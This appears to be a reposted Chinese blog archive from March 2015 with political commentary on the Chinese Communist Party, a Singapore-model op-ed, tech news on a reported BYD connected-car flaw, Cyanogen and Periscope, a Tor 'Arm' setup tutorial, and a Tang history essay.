儘管今天的中國已經改革開放了30年,社會硬體方面的發達已經登峰造極。但我依然看到,上海的市民、田間的農夫乃至網路上無處不在的憤怒青年,他們的心態與30年前紅衛兵沒有絲毫差別。
而倘若我們將目光再回望千百年的歷史長河,遙伸至歷朝歷代,會看到在各個時代里,這樣相同本質的「群氓」是何其多也:仇視一切外來事物而又愚昧無知的義和 團、剛剛進城就立刻腐敗墮落的太平天國式農民、剛剛佔領北京城就貪圖享樂迅速滅亡的李自成農民軍、把明末抗清將領袁崇煥碎屍萬段、分屍吃肉的北京城百姓…

国安祸国 维稳殃民

习近平治国的目标和手段,有一个悖论:一方面他显然认为党内有一群人篡权贪钱到了不可容忍的地步,红色江山已经变色,他要恢复江山的红色,至少要看上去还 是红色的;另一方面他自己和他心目中的红色后代已经和这变色了的政权难分难舍,投鼠忌器。中共走到今天,老一代人的理论、理想、节操早已没有了, 江泽民的“闷声大发财”,胡温的无所作为同流合污,到了习近平手里,再也拿不出治本的东西来。从“三个代表”到“科学发展观”、“和谐社会”,习近平只拿 得出一个“中国梦”,忽悠的功能是一蟹不如一蟹。习近平显然是想有所作为的,他只能盯住近期的单一目标,那就是集权,扩大自己的施政能力。反腐是一举两 得,一是打掉那些属于前任的小集团,二是趁机博取民心,两者都可以巩固自己的权力。
习近平执政后,老虎纷纷落马,对外却有一套严格的框框,一切都只是反腐,所有下台的人,最终无论是法庭上还是民间传言,都归结到多少钱和多少情妇,虽然钱 和情妇的数量越来越不可思议,几乎要超出常识的想象了。直到最近对令计划问题的宣传,才暗示了政治问题。国安部副部长马建是什么问题?我们只能做一番猜 想。显然马建不是因为六个情妇两个私生子而出事的。据说马建是周永康的亲信,曾经为周永康建立中共官员包括政治局常委们的秘密档案库,这个传言若为真,那 就接近这个国家真正的大问题了:那就是从八九年以后逐渐经营起来的国安和维稳系统,已经掐住了这个国家的命门。以国家安全的名义,他们可以为所欲为,在 “稳定压倒一切”的口号之下,他们胡作非为,谁也奈何他们不得。
国安和维稳系统劫持这个国家的办法,说穿了很简单,那就是“谎报军情”。既然你让他们负责国家安全和社会稳定,对他们最有利的状态就是国家不安全,社会不稳定,没有敌情也要制造出敌情来。在外部,他们需要那虚无缥缈的“帝国主义亡我之心”,“境外敌对势力”。在内部,他们需要时不时地发生“群体事件”,上 访冤情,维权冲突。他们才不希望这个国家呈现“和谐社会”呢,万一真的和谐了,维稳经费怎么会那么多呢。当胡温口口声声建设和谐社会的时候,维稳部门的行 为却显得不可理喻,他们明明是在挑起社会的不和谐。其中的原因就在这里,维稳部门是最不希望社会和谐的,和谐了就没有了他们的机会。只有看透了这一点,才 能理解这些年来中国的官民关系,为什么政府会怂容地方恶政如此毫无理由地恶劣地对待诸如盲人律师陈光诚那样的人。
从江泽民时代到胡温时代,中国投入国安和维稳的经费越多,社会越不安定。国安祸国,维稳殃民,看明白这一点并不困难。现在的问题是,痛恨前苏联“竟无 一人是男儿”而崩溃的中华第一男儿习近平,气势如虹地反腐打虎的时候,想改变这种“国安不安,维稳不稳”的局面吗?根据习近平执政后这个政权对护地农民、 上访冤民、维权律师、意见领袖、边疆民族等等出手镇压的狠劲儿,这个问题的答案是否定的。三八节期间抓捕年轻的妇女维权人士,是最近的不可理喻的倒行逆 施。这样做法,恐怕连周永康也要自叹不如。
对习近平反腐不看好,因为没有丝毫迹像表明他想改变周永康为代表的国安和维稳体系他的反腐只是打掉这些人,自己却全盘接收了他们的衣钵,甚至有过之而 无不及。在政权的稳定性方面,他想达到毛泽东时代的水平。他太迷恋老一代了。那一代人是自己杀出来的,知道一刀下去是什么效果,所以相信镇压。二十一世 纪、互联网时代还能有这样的效果吗?
可以期待的是,国安部门、维稳系统、边疆地区,将会爆出更多更惊人的腐败人物和事件,这些人物的要害是自制敌情来劫持这个国家,但是打下他们的时候都会套上贪腐的包装。国安和维稳的政策延续下去甚至变本加厉,那么可以肯定,未来中国社会将越来越不安定。

真正的新加坡模式 作者:裴敏欣

加州克萊蒙特 – 新加坡國父李光耀之死是個思考其遺產的時機,也是—或許更為重要的是—思考其遺產有沒有得到正確理解的時機。
李光耀在出任總理那31年期間創立了一種巧妙平衡威權與民主以及國家資本主義和自由市場,有“新加坡模式”之稱的獨特政府體制。李光耀的管治模式往 往被誤解為加諸自由市場經濟之上的一黨獨裁制度。他成功把新加坡轉變為一個繁榮的城市國家這點常常成為各國威權統治者合理化他們嚴密控制社會的理據,在中 國尤其如此。
的而且確,中國國家主席習近平正在實行一種深受新加坡模式模式影響的變革議程—無情反貪,廣泛打擊異議,支持市場的經濟改革。中國共產黨在新加坡看到自身未來的一個願景:在一個繁榮的資本主義社會上延續其對政治權力的壟斷。
但是,中國統治者理解的那種新加坡模式從來不曾存在。要學習李光耀的政府模式,而不僅僅是對它卡通化的滑稽模仿,便需要一個民主程度大得中共不會容忍的制度。
李光耀政治天才的真正秘密並不在於他純熟運用壓制措施,如針對媒體或政治對手的官司;這些做法在半威權政體之下很普遍,不值得注意。李光耀所做的革命性之舉是用民主制度和法治來抑制新加坡統治精英的掠奪欲望。
和中國不同,新加坡容許反對黨參加有競爭而自由(儘管不必然公正)的選舉。在上一次於2011年舉行的國會大選中,6個反對黨總共得到40%的選 票。要是人民行動黨(People’s Action Party, PAP)—李光耀創立的政黨—因為不良管治而失去合法性,新加坡選民可以要它下台。
通過舉辦定期有競爭的選舉,李光耀建立了一種政治自我監督和問責的機制–他給予新加坡選民決定PAP應否繼續掌權的權力。這種監督機制維持了新加坡統治精英的紀律,並使他們的承諾可信。
遺憾的是,世界其他地方的人大多沒有就李光耀創設一種大幅度改善新加坡民眾福祉的威權/民主混合體制,而沒有使他們遭受許多與新加坡相鄰國家所行的殘暴行為和鎮壓給予他應得的正面評價。
中國接受這種模式,引入相當程度的民主,加強遵守法治是明智之舉。假如中國的統治者會實行新加坡式的政治制度和做法,那裡的14億公民將得益匪淺。在最低限度,這意味著有組織的政治反對派合法化,引入定期舉行的有競爭選舉,以及設立一個獨立的司法制度。
學習李光耀的話,中國將會取得巨大的進步,變成一個更人道,更開放,前景更光明的社會。可悲的是,這幾乎不可能發生,至少短期內不會。當中國領導人提到新加坡模式的時候,他們想的只是延續他們的權力。他們想得到政治主導地位的好處,但不想要一套有競爭制度加諸他們的制衡。
李光耀也許對民主的好處有所懷疑,但對它沒有由衷的敵意;他理解民主的用處。相反,中國領導人視民主為意識形態上的生存威脅,必須不惜任何代價化解。對他們來說,即使容許一點點的民主來使精英受到規範也無異於自殺。
不幸的是,李光耀已經不在了。我喜歡設想他向中國領導人講解新加坡模式的真正創新之處。顯然,這並不可能。但是,哪怕只是為了對亞洲其中一個偉大政治家的尊重,中共必須停止把新加坡招牌用於一個全然不同的議題上。

比亚迪智能汽车被曝存在严重安全漏洞

北京时间3月30日下午,国内著名的漏洞报告平台“乌云”曝光了比亚迪智能汽车的一个严重漏洞,或将导致汽车被黑客完全控制。比亚迪智能汽车的车 主,在比亚迪云服务的帮助下,可通过手机APP来控制汽车,包括解锁、上锁、着车和开启后备箱(如果用遥控钥匙还可以在十米内遥控汽车无人驾驶),还能异 地授权限时借车而无需车钥匙,一辆车绑定车主一部手机。
而此次被爆出的云服务严重安全漏洞,可以帮助黑客编写程序获取任意车主的信息(姓名、车牌号、车架号、身份证号、第二联系人姓名、手机号等)和控制密码,获取车辆控制权以及车主隐私。
该漏洞的危害等级显示为“高”,类型为“设计缺陷/逻辑错误”,披露状态为“细节已经通知厂商并等待厂商处理中”。
在近日的比亚迪全年业绩发布会上,被问到对智能车的看法时,比亚迪董事长兼总裁王传福曾表示,汽车与互联网公司合作必定有巨大的增长潜力,不排除将与互联网公司合作,目前正积极探索机会。
针对该漏洞比亚迪方面目前没有给出回应,我们将继续保持关注。

Sunday, 29 March 2015

安卓系统的修改版-Cyanogen


谷歌早前就在开源许可之下公布了安卓系统基本核心的源代码,这也就意味着,任何人都能够以此为基础加以修改或重建。事实上,目前许多公司已经开始这样做了,其中就包括Cyanogen、亚马逊和部分为中国或其他新兴经济体提供智能手机的制造商。

在众多版本的安卓系统中,只有一种是谷歌认可的。因为这个版本中许多链接都会跳回到谷歌服务,并以此构建操作系统的核心,包括主屏幕上的应用程序。用户在使用这一版本的系统时,一般必须要同意接受各种各样的限制条款。
根据调研机构Strategy Analystics估计,目前全球搭载各种版本安卓系统的设备大约有10亿台之多。据ABI Research最新分析,约有50%-60%的新手机搭载的是谷歌首选的安卓版本,约20%的设备搭载的是非谷歌版本的安卓系统。
因此,McMaster的安卓版本要想脱颖而出,可能得先赶上强大的对手。如果说Cyanogen的操作系统有机会抢占谷歌先机的话,那一定是在新兴市场这一块。
“谷歌的服务在新兴市场基本上没有发挥什么作用和意义。”科技咨询公司Creative Strategies公司的分析师蒂姆·巴加林(Tim Bajarin)这样表示。对于新兴市场的运营商和手机制造商来说,将应用程序和服务本地化的做法不足为奇。无论是菲律宾的Cherry Mobile、印度的Micromax,还是拉丁美洲的Blu,都打造出了各自的安卓版本,用本地化的应用程序和服务取代了谷歌的服务。
在挖掘这些细分市场领域时,Cyanogen表现得比以往任何时候都卖力。最近,该公司宣布与Blu和高通达成合作,计划在新兴市场上给更多的廉价 设备装上自家的软件。其实,这一举动并不新鲜——Cherry Mobile和Micromax早已开始使用自定义的安卓软件了。
根据巴加林预测,未来7年内将有20亿台智能手机销往全球,其中新兴市场将会占据大部分,这恰恰可能会给Cyanogen带来前所未有的机遇。如果 按照这样的形势发展下去,Cyanogen研发的多种安卓版本最终将配备到数百万甚至数十亿的手机上去。这必将加速安卓生态的碎片化。
“即使是在目前的谷歌版安卓系统内,也存在有许多不同的版本。”巴加林说,“但谷歌并没有将这些不同的版本以一种十分和谐的方式聚集在一起。”
据了解,目前部分安卓手机已经可以下载使用Cyanogen研发的安卓版本。Cyanogen版的安卓系统目前允许用户自行添加更多的功能,还可初 步实现一些定制操作。不过,McMaster的最终目标是打造一个完整且全新的操作系统,使用户能够完全根据喜好定制应用软件。
但如果在开发过程中,Cyanogen打算偏离安卓支持的应用程序API(应用编程接口),那么开发者很可能会面临一个困境。对此,一位谷歌安卓部 门的前员工表示,如果Cyanogen出于某种原因不得不偏离预期的API,那么必须得给开发者更多的鼓励和支持,因为他们会因为到底是坚持采用谷歌的 API还是采用Cyanogen提供的API进退两难。
相比谷歌的安卓系统或苹果的iOS系统,Cyanogen最能吸引开发人员和应用程序开发者的,是他们能够将自创的应用服务与用户手机更紧密的联系在一起。反过来,这种紧密的联系也能够优化服务本身,这样的效应总是能令热血的开发者们兴奋不已。
虽然目前尚不确定Cyanogen的操作系统能否实现McMaster抛出的豪言壮语,但机遇在前,Cyanogen的确很有可能抢获那些对谷歌并不敏感的新兴市场。
巴加林表示,Cyanogen的操作系统将会为非谷歌安卓系统注入新的活力,未来非谷歌安卓系统将更加丰富。
-------------------
 
Android系统的修改版-CyanogenMod

CyanogenMod 是一个免费开源、基于社区构建的 Android 的修改和改进版本。Cyanogen团队是目前全球最大的Android第三方编译团队,它提供一些在官方Android系统或手机厂商没有提供的功能 ,例如:支持Free Lossless Audio Codec-FLAC(无损音频压缩编码)音频格式的音乐,多点触控,从SD外置存储器运行程序,压缩缓存,大量APN的名单,重新启动功能,Wi-Fi无线网络支持,蓝牙,USB网络分享等。

官方下载: http://download.cyanogenmod.org/

Periscope希望做一个无处不在的流媒体直播服务

Periscope希望做一个无处不在的流媒体直播服务,把全世界的用户聚焦到一个现场。这一设想获得Twitter的支持,并在Periscope还未上线前,就以近一亿美元把其收入囊中。

Periscope成了今日美国众多主流媒体的关键词。
Twitter在今年一月份收购了流媒体服务Periscope,据多方援引知情人士的内部消息,该项收购花费了Twitter近一亿美元。收购完成三个月后,本周四,Periscope在iPhone平台的应用正式上线。(我在IPHONE上,装了它。然后用TWITTER帐号登录。)
Periscope团队成立于2014年2月,在上线前Periscope的团队已做了一年的研发,并进行了几个月内测。
Kayvon Beykpour是Periscope的联合创始人,决定开发Periscope也是因为Beykpour的一个困惑:在社交网络普及的今天,依旧有很多 人不知道某一个现场在发生什么。为此,他们决定做一个无处不在的流媒体直播服务,把全世界的用户聚焦到一个现场。Beykpour认为,流媒体广播服务或 许将在不久后颠覆未来的社交方式。
打开Periscope,在产品底部有TV、相机和社交三个按钮。该产品的应用已经无处不在,例如喜剧演员直播其在参加脱口秀节目前的彩排,风险投资家在手机上直播自己参加的活动。
用户能通过Periscope直播视频/音频,并在直播过程中进行评论和点赞等互动功能,同时将直播的地址链接分享到Twitter 上,Twitter的社交图谱将为Periscope提供潜在的直播服务观众。Beykpour认为Periscope的优点是直播时产品延迟时间短,以 及在直播过程中能够便利地进行交流。
Periscope目前最大的竞争对手是Meerkat,后者同样提供流媒体服务,并借力Twitter的社交关系迅速累积用户。
Meerkat在今年2月底上线,在上线两周时间内即揽获了12万用户,此后借西南偏南(South by Southwest,SXSW)这一盛会的东风在社交网络上迅速火了起来。据App Annie统计的数据,在美国迅速跻身所有应用下载量排名前两百。
两周前,Twitter禁止了Meerkat访问其社交图谱。但在Meerkat的官方博客上,其乐观地表示彻底失去Twitter的支持后,用户仍旧保持着较高速的增长。在粉丝导入功能被Twitter封禁的一夜之间,Meerkat的用户数量仍然增长了30%。
尽管彻底失去了Twitter的支持,但目前Meerkat已经积累了40万用户,并在不久前刚以5200万美元的估值融得1200万美元。该轮投 资者包括Greylock Partners基金、YouTube联合创始人Chad Hurley,以及包括Jared Leto在内的好莱坞演员。
和Meerkat相比,Periscope最重要的一项是增加了回放功能。尽管回放使得整个App直播的过程不再那么亲密和“酷”,但更重要的无疑是使得该平台上的内容得到更加长时间和广泛的传播,而不是如Meerkat那样在直播结束后,链接失效。
此外,在用户界面上,Meerkat设计的更加简单甚至略显粗糙。Twitter和Uber的早期投资者Chris Sacca评价,Periscope最吸引其的是产品使用过程中的直接和亲密。
Periscope创始人Beykpour认为,他在做的不仅仅是一个流媒体直播工具。能够吸引Twitter来收购 Periscope,Beykpour认为其中重要一点在于两者之间和Twitter的“距离”。Meerkat不仅仅是分享到Twitter上,甚至很 多功能都在Twitter上实现。而Twitter更加倾向于让被收购的产品保持独立,尽管Twitter可能会在自身产品中适当加入相应的新功能,但并 不想因此而混淆产品定位。在Twitter此前类似的收购当中也显示出相同的态度。Periscope在被收购后的独立性还体现在,其将拥有自己的团队、 品牌和公司总部。
“和一年前相比,现在的时机更为成熟。”Kayvon Beykpour在接受媒体采访时表示,推动转变的是技术进步和智能手机的进一步普及。
但事实上,在手机端进行视频直播的 产品此前不乏失败案例。视频创业项目Viddy在2012年曾一度风靡Facebook,估值被推高到数千万美元, 甚至被誉为视频直播领域的Instagram。但火热的状态并未持续太久,在短短数月过去后即被消费者所抛弃,产品项目也被收购或直接面临失败。
Meerkat创始人Ben Rubin此前曾尝试开发另一款视频直播应用Yevvo,但在上线后最终还是以失败告终。
视频直播的好时机已经到了么?或许,Periscope和Twitter的共同愿景是,直播世界各地发生的事情,不同之处在于载体分别是文字和视频,也意味着Twitter下了一个一亿美元的赌注,期望Periscope成为另一个视频版的“Twitter”。

LINUX桌面系统下的Tor 的界面前端-ARM(替代已死亡的 Vidalia)

  对于 Tor 的大多数用户,应该都用过 Vidalia——这是 Tor 的 GUI 前端图形界面,基于 Qt 开发,能够跨平台使用。俺使用它已经有好些年头了,用得很顺手。
  非常遗憾的是,Vidalia 的开发已经停止了。最主要的征兆是——Tor 官网上已经把它的相关介绍页面移除了。另一个征兆是:某些 Linux 的发行版已经把 Vidalia 从内置的软件仓库中移除。
  有鉴于此,俺必须要介绍一下 Vidalia 的替代品——Arm。今天这篇的重点是:如何用 Arm 搭配使用“裸tor”
  因为 Vidalia 死亡之后,Tor 官网上很多基于 Vidalia 的软件包自然也消失了。如今 Tor 官网的下载页面只剩下两种下载选项:“Tor Browser”和“裸 Tor”。“裸 Tor”只有命令行界面,很难用。这时候 Arm 就派上用场啦。


★Arm 是啥?

Arm 是洋文“Anonymizing Relay Monitor”的缩写。它基于 Python 开发的开源项目(GPL v3 or later),可以完成 Vidalia 的大部分功能。
  更多关于它的介绍,可以看 Tor 官网的页面(在“这里”)或维基百科(链接在“这里”)。

★Arm 与 Vidalia 的优缺点对比

◇优点

Arm 相比 Vidalia 的优点在于:
1. 支持纯命令行的仿真图形界面(用字符方式仿真窗口和菜单),可以在【纯文本终端】上使用。
2. 非常轻量级——本身的源代码压缩包不到 300kb
3. 如果只用它的命令行方式,不需要依赖 GTK 和 Qt(相比之下,Vidalia 需要 Qt 运行库)
4. 提供一个高级的交互模式,可以直接跟运行中的 TOR 客户端进行交互(面向那些非常熟悉 Tor 的高级用户)
5. 同时也支持图形模式(需要依赖 GTK 和 python 的某个第三方图表库)

  虽然 Arm 也支持 GUI 图形窗口界面,不过俺一直在命令行界面下使用(因为功能已经够用)

◇缺点

目前 Arm 最大的问题在于“不支持 Windows”。俺在 Windows 下尝试进行安装,python 报了一堆错误。粗略看了一下,它的代码太依赖于 POSIX 环境,比较难移植到 Windows 下。
  如果你只使用 Windows,并且将来也不考虑用 Linux 或 BSD,那你就不用再浪费时间看本文的后续部分了。
  如果你考虑今后切换到 Linux,可以先看俺之前的两篇博文:
扫盲 Linux:新手如何搞定 Linux 操作系统
扫盲 Linux:如何选择发行版

  另有几个小缺点:
1. 界面美观程度不及 Vidalia(比如实时流量的界面,就没有 Vidalia 那么清晰流畅)
2. 缺少类似 Vidalia 那样的“世界地图”展示界面

★如何安装?

◇Python 环境

因为 Arm 是基于 Python 开发的,所以你的系统中需要事先准备好 Python 环境(并且得是 python2)。
  假如你是通过 Linux 发行版的软件仓库安装 Arm,软件包管理器会自动帮你把 Python2 安装好。如果你是自己去 Arm 官网下载 Arm 来安装,你自己要确保系统中已经装有 python2(版本最好是 2.7.x)。

◇从 Linux 发行版的软件仓库安装

主流的几个 Linux 发行版,已经把 Arm 内置到发行版的软件仓库中。如果你使用的是如下的发行版,应该可以直接安装,无需去 Arm 官网下载。
软件仓库内置 Arm 的 Linux 发行版至少包括:
Debian
Arch
Gentoo
Slackware
(另外, FreeBSD 的软件仓库也内置了 Arm 了)

  提醒一下:
  某些发行版中,软件包的名称是“arm”;还有些发行版中,软件包的名称是“tor-arm”

◇去 Arm 官网下载

如果你使用的发行版,软件仓库没有内置 Arm,那就得去 Arm 官网下载(下载页面在“这里”)。

★如何使用?

安装完成之后,下面就是具体的使用教程。

◇首次启动 Arm 的配置向导

开一个命令行终端,运行“arm 回车”,即把它启动起来了。
  第一次启动的时候,Arm 会显示一个“配置向导”,问你打算要如何使用 Tor(以下是相关截屏)

向导第1步

不见图 请翻墙
对于普通的网友,只需选下面的那个 client(如图所示)。

向导第2步

不见图 请翻墙
对于天朝之内的网友,Tor 的“网桥模式”已经失效。所以你没有必要再去配置网桥(Bridge)。
  这步没啥需要配的,直接 Next

向导第3步

不见图 请翻墙
在这一步,会显示 Arm 生成的默认的 torrc(tor 的配置文件)给你看。
  看完之后,把焦点移动到“Start Tor”,然后敲回车。


◇Arm 界面的5个标签页(page)


  首次启动好 Tor 之后,Arm 会显示它的主界面,包含5个标签页(page)。你可以用键盘的“左右方向键”来回切换不同的标签页。
  以下是5个标签页的截屏(俺把说明文字直接写在截屏中)

不见图 请翻墙

不见图 请翻墙

对“第2个标签页”,俺重点表扬一下。
此界面是 Arm 做得比 Vidalia 更直观之处。通过此界面可以方便地看到:
1. 前置代理的 IP(如果没有设置前置代理,界面上的发起方就是你自己的公网 IP)
2. “正在创建的链路”和“已经创建完的链路”
3. 对已经创建完的链路,可以看到其包含的3个节点的 IP / 节点名 / 国别

不见图 请翻墙

不见图 请翻墙

不见图 请翻墙

◇Arm 界面的菜单


  在 Arm 界面上按 m 键,就会显示 Arm 的菜单。然后你可以用“上下左右”4个方向键移动菜单的焦点,然后按“回车键”点击处于焦点的菜单项。如果不想选中任何菜单项,直接按“Esc 键”关闭菜单(连续按两下)。

菜单的截屏如下。

不见图 请翻墙

  在第一个下拉菜单中,你可以看到“Start Tor”或“Stop Tor”的菜单项,这就是用来启动/停止 Tor 的。
  最下面的“Exit”是用来退出 Arm 的。如果你不喜欢点菜单,可以直接按键盘的 q 键(连续按两下)。

不见图 请翻墙

不见图 请翻墙

不见图 请翻墙

不见图 请翻墙

★Tor 的配置


◇增加“前置代理”


  如果你位于墙内,“裸 Tor”是无法独立联网的。因此,你需要为 Tor 设置“前置代理”,组合成俺经常唠叨的“双重代理”。关于“双重代理”的原理和优点,之前已经写过专门的博文(请看“这个系列”的其中一篇)。关于这方面的内容,本文就不再重复罗嗦了。今天重点说一下如何修改 Tor 的配置文件。
  虽然 Arm 的界面上提供了对 Tor 的配置选项的修改,但是那个界面很难用。而且有时候修改了还没法保存(原因未知,疑似 Bug)。所以,俺强烈建议大伙儿直接手动修改 Tor 的配置文件。
  如果你的 Tor 是被 Arm 启起来的,arm 会在 ~/.arm/torrc 生产 Tor 的默认配置文件。你只需修改这个文件,加入前置代理的配置信息。具体步骤如下:
1.
先把 Arm 和 Tor 都停掉(通过 Arm 菜单中的“Exit”)
2.
用你喜欢的文本编辑器打开 ~/.arm/torrc
3.
如果你的前置代理提供的是 HTTPS 代理,在该文件尾部加入如下一行(把 xxxx 替换为前置代理的 IP,把 xx 替换为代理的端口)
HTTPSProxy xxxx:xx
如果你的前置代理提供的是 SOCKS 代理,在该文件尾部加入如下一行(SOCKS 代理有两种协议,分别是 SOCKS4 和 SOCKS5,别搞错喽)
Socks4Proxy xxxx:xx

Socks5Proxy xxxx:xx
4.
重新启动 Arm,这时候它会用洋文问你“是否使用上次保存的配置”,你必须选择这个选项

  当你把前置代理配置好,重新运行 Arm,这时候 Tor 就会通过前置代理联网。当 Tor 客户端完成联网,在 Arm 的第一个标签页上,就可以看到 Tor 的流量(截图如下)

不见图 请翻墙

  然后你的浏览器就可以通过 tor 提供的 socks 代理匿名冲浪啦 :)
  为了保险起见,用浏览器访问 Tor 官网的 check 页面(链接在“这里”),确保你的浏览器已经走 Tor 的线路。

◇其它配置选项


  除了“设置前置代理”,还有其它一些配置选项,大伙儿也可以考虑。
  比如你很注重安全性,那么就要考虑:在 torrc 中把一些流氓国家的 Tor 节点排除掉(以防误入“蜜罐节点”)。
  比如你想把自己的“公网IP”伪装成某个特定的国家,也可以在 torrc 中限定“出口节点”的国别。
......
  诸如此类的配置选项还有很多,大伙儿可以参考俺之前写的另一篇博文《关于 Tor 的常见问题解答》。

★Arm 的配置

Arm 本身也提供了配置功能。其配置文件的示例位于如下路径:
/usr/share/doc/arm/armrc.sample
用文本编辑器打开这个示例文件,基本上能看明白各个选项是啥意思。
  要定制 Arm 的配置选项,先把这个示例文件 copy 到 ~/.arm/armrc 然后进行修改。
  修改完这个配置文件之后,使用如下命令启动 Arm
arm -c ~/.arm/armrc
 FROM http://program-think.blogspot.com/2015/03/Tor-Arm.html

Saturday, 28 March 2015

历史,总是残忍得让你不忍目睹

最近在读唐史,专门先从唐玄宗那一段开始读,因为正是唐玄宗治下,安史之乱出现,盛唐从此成为了背影。但其实年轻时的唐玄宗也是励精图治,一代英主,延续了盛唐最后的辉煌,无奈后来他老了,跟一个昏君没什么区别了。也因此,他宠爱的安禄山叛乱了。
要是在李世民时代,给他一万个胆都不敢叛乱的。最后首都长安被破,他只能西逃蜀地,中途还被迫杀死最爱的妃子杨贵妃。他人生的最后,是比死还难受。 古代中国最辉煌的盛世也因此终结,西逃的唐玄宗,最后在他身边的,也就一千多将士。可原本大唐帝国精兵百万……甚至一代英主差点沦为了亡国之君。
也正是在这个关键时候,天佑大唐,本来快要亡国了,竟然出现了一个千古英雄人物,张巡。本来他不过一介书生,就是经常被武将们嘲笑手无缚鸡之力的那 种,但看到安禄山造反,他怒了,吃的是大唐米,拿的是大唐钱,要不是大唐厚爱,你安禄山一胡人,早就死无葬身之地了,可你现在却造反了。于是他招募兵士, 但也不过招到了两千多人,这些人根本就没有什么战斗经验,你可以说他们是菜鸟,可他把他们组成反抗军并加以训练,即使最好的时候,他手下也不过六千多士 兵,可他却敢直接对抗安禄山方面几十万大军,但历史的诡异之处就在这里,竟然,由此书写了一个军事神话。
很难找到一段军史比这更奇迹了。在他训练和指挥下,这几千人却因此成了精兵悍将,竟然与几十万叛军对抗了一年多,大小战役数千次,并且总共干死了安 禄山十二万精兵!(数字可能有夸大,仅供参考)最后虽然城破被俘,安禄山的大将被他感动,舍不得杀他,但他宁死不屈,没办法,只能杀死他。然而,历史的悲 剧也在于此。即使在他死的时候,大唐的官僚也不认他的功劳,甚至还想追究他的罪责。因为他被围城的时候,内无粮草,外无援兵,所有人没饭吃,要饿死了,怎 么办呢,他含泪把自己的爱妾杀了,让这些肉给士兵吃。士兵吃完继续跟安禄山大军干。城里老百姓知道后,尤其是老人,纷纷表示,自愿贡献人肉给士兵吃。最后 这些老百姓真的连命都不要了,用自己的肉,喂饱护城的士兵。也就是说,士兵们最后在没粮可吃的情况下,是吃着人肉坚持下去的。
为什么没有粮食呢?因为大唐的官僚不拨给他们,逼得他们只能吃人肉。可这些官僚在还没交战的时候,就逃得比兔子还快。他们从来没想过,要不是张巡坚 持那么久,大唐早就亡国了。正因为一介书生张巡与他的士兵坚持对抗安 禄山那么久,大唐终于在后方集聚了力量,后来得以反攻。要不然历史早就改写了。
不过也都无所谓了,历史是公平的。最后被历史记住的人,总是那些悲剧英雄。可也正因为悲剧,更让后人嘘唏。但历史不就是这样吗?残忍得让你不忍目睹。

中共的新闭关锁国

你能想象吗,十八大后的中共,一方面明里承诺“不走封闭僵化的老路”,一方面却在暗里顽固推行新闭关锁国的旧制!
屏蔽:从美剧、谷歌到VPN
新闭关锁国,从严格限制播放美剧起,最新的突出表现,就是屏蔽互联网链接,尤其是谷歌(Google)和VPN(虚拟私人网路)。众所周知,互联网搜索现在已普及于大众。在大陆,一般人使用最多的就是“百度”搜寻引擎,例如出门查询公交换乘路线(“丁丁地图”),上饭馆查询饭店和菜肴,下载优惠券(“大众点评网”)等等。但在科学界,百度相比Google之差距就不是以道里计的了。搞科研的都知道,所有的学术研究,第一步就是文献搜索。Google学术就是学界公认最强大的学术搜寻引擎,Google不仅聚合了几乎所有学术资料库的资源,还收录了许多学者上传到自己网站的论文。此外,它能列出任何一篇论文的所有被引用情况,展现出一幅知识网路的全景图,研究者可便捷地找到更多的相关研究。Google对学者和学术期刊影响力的指数排名也成为评价学术品质的重要参考资料。这样,可以说全世界没有一个科研人员搞科研可以离开Google学术搜索。然而,现在中共在中国大陆全面屏蔽了Google,科研人员根本打不开Google学术,就这样彻底摧毁了中国与世界的学术纽带。其他如功能强大且全世界普及的文档编辑协作平台Google Docs,方便进行视讯会议的Google Hangout,云存储服务Drop Box,以及Archieve(文档服务器,可定期自动地访问众多的互联网FTP服务器,将这些服务器上的文档索引成一个可以检索的资料库),都已不能为中国学者享用,更不用说脸书(Facebook)、推特(Twitter)、YouTube等等,一股脑儿被中共的防火墙屏蔽了。
特别严重的是,以前借助于各种翻墙软件,包括免费和收费的VPN,熟悉互联网的,尤其是科研人员还可以“翻墙”链接。但最近,连收费的VPN也遭到全面屏蔽,VPN的最大服务商Astrill已通知了用户。如此,网路上,现在是只落得白茫茫一片大地真干净,无处话凄凉!
这不是比禁绝商品贸易的老闭关锁国更厉害的新闭关锁国是什么!这岂是限制美剧的“一件小事”了得!
原由:从明清到中共
闭关锁国,中国历史上,始自明朝朱元璋,再始于清朝乾隆,直到鸦片战争英国的炮舰打开中国的国门才收场,始终都是专制帝皇的伎俩。朱元璋出身低微,本是皇觉寺的和尚,实则相当于叫花子,见识有限,一副“土八路”的样子。此人乐于“鸡犬声相闻,老死不相往来”的农业社会自然经济,对于商业手工业的重要性了无所知(例如他建造南京城墙的城砖,竟然是从全国各地烧造好后运来的,完全不懂得在南京建一个烧砖厂会是更高效、更经济的手段),更不懂得海外贸易的重要(洪武七年,朱关闭唐以来一直就有的三市舶司,彻底断绝对外贸易)。尤其是,小人得志,最怕的是抢来的权力再次失去。张士诚、方国珍当年与朱元璋一样逐鹿中原,其势力主要在东南沿海,现在成王败寇,朱最怕他们卷土重来,甚至与“倭寇”(其实后来的“倭寇”主要并且大多是中国人)勾结,危害他的帝王基业。于是他一再下令“禁濒海民不得私自出海”、“禁人民不得擅自出海与外国互市”。到明成祖,为了搜拿被他赶下台的建文帝朱允炆,他七次派郑和下西洋,海禁才稍有放松,但嘉靖年间又复收紧。清皇朝同样实行闭关锁国,其基础同样是落后的、但自给自足的自然经济,目的同样也是为了维持其一家天下的皇权永固,防备郑成功的抗清力量与百姓的交通联合,所以在解决了郑氏势力之后,海禁有一定的放宽。但到乾隆年间,乾隆的夜郎自大又导致了再次闭关锁国。乾隆给英国国王的“上谕”说“天朝物产丰盈,无所不有,原不藉外夷货物以通有无”,把他的自大与无知直表现得淋漓尽致。但乾隆闭关锁国的其实还是旨在扼杀天主教思想从海外流入中国,对他的专制政治造成颠覆性的破坏。
